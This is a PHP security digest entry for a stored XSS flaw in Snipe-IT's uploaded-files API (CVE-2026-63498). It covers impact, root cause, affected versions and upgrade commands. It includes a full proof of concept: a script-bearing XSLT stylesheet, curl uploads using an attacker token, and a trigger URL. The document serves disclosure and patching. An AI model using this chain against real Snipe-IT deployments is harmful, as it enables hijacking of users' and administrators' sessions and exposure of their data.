PatchClock

PHP security digest · 24 Sep 2026

Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API

High CVE-2026-63498

Package
snipe/snipe-it
Fixed in
8.7.0
Published
Thu 24 Sep 2026, 19:19 LisbonUpdated Mon 26 Oct 2026, 01:25 Lisbon
Installs on Packagist
731

In plain words

An authenticated user with permission to attach files to a supported object can use XML attachments to run JavaScript in another user's Snipe-IT session. This requires the other user to be authenticated, allowed to view those files, and to open the malicious XML attachment inline through the API. The script can read data and perform actions available to that user, potentially compromising an administrative account if a superuser opens it.

Affected versions

PackageAffectedFixed in
snipe/snipe-it< 8.7.08.7.0

Am I affected?

Look for snipe/snipe-it in composer.lock: versions below 8.7.0 are affected, and 8.7.0 contains the fix. Check whether XML uploads are allowed through filesystems.allowed_upload_extensions_for_validator and allowed_upload_extensions_array in config/filesystems.php; XML is allowed by default. Check whether users with API tokens can manage files on supported objects and whether authorised viewers can open those files through the uploaded-files API with inline=true. The default Content Security Policy does not prevent this attack.

What to do

Check which version you have, then update to a fixed release for your branch (8.7.0):

composer show snipe/snipe-it | grep versions
composer update snipe/snipe-it

If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.

The advisory's description

Snipe-IT's uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it through xml-stylesheet. When another authorized user opens the XML file through the API with ?inline=true, the browser applies the attacker-controlled stylesheet, which produces HTML containing JavaScript in the Snipe-IT origin. This was reproduced against commit df8e3b144331d0c1cc14778f900e7646d1d9a509 (v8.6.3-231-gdf8e3b1443).

The attack requires an authenticated account with file access to at least one supported object and one victim interaction. Scope changes because attacker-controlled code executes in another user's Snipe-IT security context. The script can read same-origin data available to the victim and perform authenticated actions as that victim.

Affected Components

  • app/Http/Requests/UploadFileRequest.php Allows xml uploads through filesystems.allowed_upload_extensions_for_validator. Sanitizes only files detected as image/svg+xml. Both files in this proof of concept are detected by PHP finfo as text/xml, so they are stored unchanged.
  • config/filesystems.php Includes xml in allowed_upload_extensions_array.
  • app/Http/Controllers/Api/UploadedFilesController.php, method show() Honors the attacker-controlled inline=true query parameter for every uploaded file type. Calls Storage::download(..., ['Content-Disposition' => 'inline']) without calling StorageHelper::allowSafeInline().
  • routes/api.php Exposes the affected route as GET /api/v1/{object_type}/{id}/files/{file_id} for multiple object types.
  • app/Http/Middleware/SecurityHeaders.php The default CSP includes script-src 'self' 'unsafe-inline' 'unsafe-eval', so it does not mitigate the injected inline script. The non-API UploadedFilesController::show() already calls StorageHelper::allowSafeInline() before returning an inline response. The missing equivalent check in the API controller creates the vulnerable behavior. Root Cause

File validation treats XML as an allowed attachment format, but the API download path treats all accepted formats as safe active browser content. Extension allowlisting for upload is not equivalent to determining whether a response is safe to render inline. Laravel derives the response Content-Type from each stored file. It returns text/xml; charset=utf-8, while the controller overrides the normal attachment disposition with Content-Disposition: inline. Chromium processes the xml-stylesheet instruction, loads the second same-origin API attachment as XSLT, and executes script in the HTML document produced by the transform.

An attacker can execute arbitrary JavaScript in the Snipe-IT origin when a victim opens the malicious attachment URL. Depending on the victim's privileges, this can enable:

  • Reading same-origin pages and API responses available to the victim.
  • Performing state-changing actions with the victim's session and privileges.
  • Exposing sensitive asset, user, license, and configuration information.
  • Administrative account compromise when a superuser opens the attachment.
  • Cookies marked HttpOnly cannot be read directly, but this does not prevent same-origin authenticated requests or reading their responses.

Proof of Concept

Preconditions

  • Snipe-IT is installed with default XML upload support.
  • The attacker has an API token for a user permitted to manage files on a supported object.
  • The victim is authenticated and permitted to view files on that object.
  1. Create the malicious XSLT file

Save the following as style.xml:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html>
      <head><title>BEFORE</title></head>
      <body>
        <div id="result">NOT_EXECUTED</div>
        <script>
          document.getElementById('result').textContent = 'XSS_EXECUTED';
          document.title = 'SNIPE_XSS';
        </script>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

PHP finfo identifies this file as text/xml, not image/svg+xml. 2. Upload the stylesheet through the API

Replace the base URL, token, object type, and object ID with values from the test instance:

curl -i \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  -F 'file[]=@style.xml;type=text/xml' \
  'https://snipe-it.example/api/v1/models/1/files'

Expected result: HTTP 200 and a successful upload response.

  1. Obtain the stylesheet file ID
curl -s \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  'https://snipe-it.example/api/v1/models/1/files'

Read the style.xml upload's id from the response and call it STYLE_FILE_ID.

  1. Create and upload the referencing XML document

Save this as data.xml, replacing STYLE_FILE_ID:

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="https://snipe-it.example/api/v1/models/1/files/STYLE_FILE_ID?inline=true"?>
<data>test</data>
PHP finfo also identifies this file as text/xml.
curl -i \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  -F 'file[]=@data.xml;type=text/xml' \
  'https://snipe-it.example/api/v1/models/1/files'

List the files again and obtain the id of data.xml; call it DATA_FILE_ID.

  1. Trigger the vulnerability

While authenticated in the Snipe-IT web interface as a victim who can view the object's files, open the following in the same browser. The normal Snipe-IT Passport cookie authenticates both same-origin API requests: https://snipe-it.example/api/v1/models/1/files/DATA_FILE_ID?inline=true Expected vulnerable response characteristics:

HTTP/1.1 200 OK
Content-Type: text/xml
Content-Disposition: inline
Content-Security-Policy: ...; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...

Browser result: the page title changes to SNIPE_XSS, and the displayed text changes from NOT_EXECUTED to XSS_EXECUTED.

Fixed

Fixed in https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284

Weakness: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Reported by B1gN0Se, Rajib-Mahmud, snipe.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.